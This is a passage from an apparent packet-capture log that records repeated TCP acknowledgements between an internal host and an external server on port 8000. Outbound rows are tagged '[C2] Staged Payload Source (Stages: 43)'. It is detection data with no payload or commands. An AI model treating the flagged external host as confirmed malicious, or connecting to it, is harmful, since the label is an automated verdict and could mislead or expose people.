2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:14:39.812436,1166,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1dc400080063e220a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45532, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15906, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:39.812462,1167,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b013400040067fe0c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45075, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32736, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:40.828164,1168,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1dd400080063e210a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45533, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15905, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:40.828182,1169,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b014400040067fdfc0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45076, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32735, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:41.843689,1170,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1de400080063e200a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45534, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15904, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:41.843708,1171,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b015400040067fdec0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45077, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32734, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:42.859418,1172,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1df400080063e1f0a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45535, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15903, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:42.859423,1173,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b016400040067fddc0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45078, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32733, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:43.875043,1174,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e0400080063e1e0a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45536, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15902, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:43.875078,1175,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b017400040067fdcc0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45079, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32732, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:44.890716,1176,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e1400080063e1d0a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45537, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15901, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:44.890743,1177,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b018400040067fdbc0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45080, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32731, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:45.906304,1178,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e2400080063e1c0a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45538, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15900, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:45.906325,1179,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b019400040067fdac0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45081, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32730, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:46.906368,1180,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e3400080063e1b0a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45539, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15899, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:46.906397,1181,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548611,bc2411360d0cbc24112907bb080045000034b01a400040067fd9c0a3a7890a98980b1f40fa75391c889b07e688038010003f0af700000101050a07e6880207e68803,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45082, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32729, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548611, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548610, 132548611))]\"\"}}]\"\n2026-07-01 09:14:47.921982,1182,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548610 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1e4400080063e1a0a98980bc0a3a789fa751f4007e68802391c889b501020141999000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45540, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15898, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548610, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6553, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:14:47.922008,1183,TCP 192.163.167.137:8000 -> 